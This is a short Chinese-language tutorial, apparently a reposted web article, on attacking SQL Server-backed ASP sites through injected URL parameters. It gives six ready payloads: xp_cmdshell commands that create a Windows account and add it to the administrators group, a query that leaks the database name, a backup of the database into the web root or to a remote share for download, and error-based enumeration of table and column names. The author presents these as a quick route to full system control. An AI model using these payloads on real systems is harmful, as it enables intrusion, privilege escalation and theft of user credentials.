利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫
下面為您介紹了利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫的實(shí)現(xiàn)方法,供您參考,如果您對SQLServer系統(tǒng)表方面感興趣的話,不妨一看。
SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來看看幾個(gè)具體的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個(gè)存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。
④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--
這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯(cuò)暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲?。窟€是留給我們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名’)獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
以上6點(diǎn)是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。
【編輯推薦】
sqlserver分發(fā)服務(wù)器的設(shè)置




















